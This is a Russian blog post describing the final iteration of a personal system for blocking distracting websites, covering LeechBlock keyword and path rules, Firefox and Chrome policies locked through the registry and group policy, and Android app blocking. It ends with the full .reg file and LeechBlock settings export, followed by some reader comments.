Итерация7. Последняя


YouTube повержен; сайты, позволяющие скачать сYouTube, заблокированы. Казалосьбы, можно праздновать победу, нонет, унас остался один, самый крупный враг поисковые движки. Поисковые движки помогали нам искать видео наYouTube, которые мыпотом скачивали, странички свесёлыми мемами воВконтакте (неблокироватьже весь Вконтакте целиком, ну), yandex.ru/video позволял нам смотреть ихнапрямую, апро картинки явообще молчу.


Чтоже нам делать? Осталась ещё пара козырей врукаве. Первый изних это блокировка нетолько подомену, ноипопути (да, yandex.ru/video заблокирует только видео, остальные сервисы Яндекса будут доступны). Второй это блокировка поключевым словам. Для лучших результатов нужно создать второй файл (который будет лежать вdropbox), вкотором будут содержаться ключевые слова, необходимые для блокировок. Файл должен начинаться состроки ссимволом *, указывающий нато, что данные блокировки применяются для всех сайтов, аперед ключевым словом стоит символ ~, означающий блокировку.



Предупреждён значит вооружён


Несмотря нато, что блокировки уже занимают достаточное количество времени для ихобхода, стоит подстраховаться идобавить ещё пару штрихов (чтобы ужнаверняка). Например, продублировать политики для Firefox вреестре ичерез GPO, наслучай, если очень захочется переименовать файл сполитиками исделать его нечитаемым; Добавить сохранение опций вsync storage (незнаю, зачем, нопусть будет. Переустанавливать браузер(ы) после всей проделанной работы как-то нехочется); Экспортировать настройки для быстрого развёртывания после переустановки системы или покаким-то другим причинам; наLinux можно (инужно) защитить файлы сполитиками через chattr. Удалить ихвсё ещё можно, нодля этого нужно сделать ещё пару дополнительных шагов, чего мыидобиваемся; Если сильно упороться можно заблокировать редактор реестра через групповые политики наслучай поползновений наполитики, прописанные там.


Вкачестве бонуса


Наверняка увас есть телефон, ивынехотелибы заходить назаблокированные сайты стелефона (явот нехочу). Поэтому нателефоне пришлось тоже пройти через несколько итераций, иидея (необходимость) блокировать браузеры изначально пришла именно оттуда, потому что количество браузеров конечно, ановые браузеры нерастут, как грибы (ксчастью).


НаAndroid существует множество приложений, которые позволяют вам управлять своим цифровым потреблением. Япробовал пользоваться Stay Focused иBlockSite. BlockSite получает админские права иможет заблокировать вам сайт вхроме или каких-то ещё мейнстримовых браузерах, нооннеможет заблокировать все браузеры впринципе инастраивать списки блокировок внём неочень удобно. Кроме того, вмобильной версии нельзя задать сложный пароль, только 4-х значный цифровой пин, даиприложение удалить нетак ужисложно.


Stay Focused выглядит более перспективно втом плане, что онпозволяет заблокировать браузеры (илюбые приложения впринципе) иимеет (вплатной версии) строгий режим, который нельзя снять нипри каких обстоятельствах. Можно запретить доступ кнастройкам, чтобы неиметь даже теоретической возможности удалить само приложение, нонерекомендуется, потому что даже управление Bluetooth оказывается заблокированным. Ксожалению, оннемониторит трафик, нонам это иненужно. Пусть будет Single Responsibility.


Яблокировал все браузеры при помощи Stay Focused, это работает, нопревращает телефон винвалида. Тем неменее, можно оставить один браузер (Firefox, например, который поддерживает всё теже расширения, что идесктопная версия), поставить туда уже знакомый LeechBlock изагрузить внего файл снастройками, как ивдесктопной версии. Теперь можно наслаждаться заблокированными YouTube идругими сайтами стелефона.


Кроме того, намобильной версии идея совводом 128-значного кода вполне жизнеспособна, потому что никакая слепая печать непоможет вам набирать столько рандомных символов намаленькой клавиатуре телефона, авсего одна ошибка икод нужно набирать заново.


Заключение


Таким образом, мысоздали систему, которая требует значительных усилий для еёотключения, что позволяет эффективно блокировать нежелательные сайты. Нато, чтобы полностью пройти через все круги Ада итерации потребовалось полтора года, норезультат того стоит.


Приложение


Приложение 1. Содержимое .reg файла для защиты расширений
Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Policies][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Chromium][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Chromium\ExtensionInstallForcelist]"1"="blaaajhemilngeeffpbfkdjjoefldkok;https://clients2.google.com/service/update2/crx"[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist]"1"="blaaajhemilngeeffpbfkdjjoefldkok;https://clients2.google.com/service/update2/crx"[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Mozilla][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Mozilla\Firefox][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Mozilla\Firefox\Extensions][HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Mozilla\Firefox\Extensions\Install]"1"="http://personeltest.ru/aways/addons.mozilla.org/firefox/downloads/file/1742831/leechblock_ng-0.9.11-an+fx.xpi"[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Mozilla\Firefox\Extensions\Locked]"1"="leechblockng@proginosko.com"

Приложение 2. Финальный вариант настроек для LeechBlock

setName1=SITES
sites1=10-youtube.com 100youtube.com 10convert.com 220youtube.com acomics.ru bash.im bitdownloader.com ddownr.com getvideo.org keepvid.pro notube.net onlinevideoconverter.com pikabu.ru pinterest.ru reddit.com savefrom.net savemedia.website saveyoutube.ru savido.net sconverter.com tasvideos.org topmemas.top tumblr.com twitch.tv twitter.com vk.com/mhkoff vk.com/mhkon vk.com/ru9gag y2mate.com yandex.ru/portal yandex.ru/video youtube-mp4.download youtube.com youtubeconverter.io youtubemp4.to youtufab.com
times1=0000-2400
limitMins1=
limitPeriod1=
limitOffset1=
conjMode1=false
days1=127
blockURL1=blocked.html?$S&$U
applyFilter1=false
filterName1=grayscale
activeBlock1=true
countFocus1=true
delayFirst1=true
delaySecs1=60
reloadSecs1=
allowOverride1=false
prevOpts1=true
prevExts1=false
prevSettings1=false
showTimer1=true
sitesURL1=https://dl.dropboxusercontent.com/s/your_data_here/blocksitelist.txt?dl=0
regexpBlock1=
regexpAllow1=
ignoreHash1=true
setName2=About:profiles
sites2=
times2=0000-2400
limitMins2=
limitPeriod2=
limitOffset2=
conjMode2=false
days2=127
blockURL2=blocked.html?$S&$U
applyFilter2=false
filterName2=grayscale
activeBlock2=false
countFocus2=true
delayFirst2=true
delaySecs2=60
reloadSecs2=
allowOverride2=false
prevOpts2=true
prevExts2=false
prevSettings2=false
showTimer2=true
sitesURL2=
regexpBlock2=about:profiles
regexpAllow2=
ignoreHash2=true
setName3=KEYWORDS
sites3=
times3=0000-2400
limitMins3=
limitPeriod3=
limitOffset3=
conjMode3=false
days3=127
blockURL3=blocked.html?$S&$U
applyFilter3=false
filterName3=grayscale
activeBlock3=false
countFocus3=true
delayFirst3=true
delaySecs3=60
reloadSecs3=
allowOverride3=false
prevOpts3=true
prevExts3=false
prevSettings3=false
showTimer3=true
sitesURL3=https://dl.dropboxusercontent.com/s/your_other_data_here/keywordlist.txt?dl=0
regexpBlock3=
regexpAllow3=
ignoreHash3=true
numSets=3
sync=true
theme=
oa=0
password=
hpp=true
timerVisible=true
timerSize=1
timerLocation=0
timerBadge=true
orm=
ora=0
orc=true
warnSecs=
warnImmediate=true
contextMenu=true
matchSubdomains=true
saveSecs=10
processActiveTabs=false
accessCodeImage=false
autoExportSync=true

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru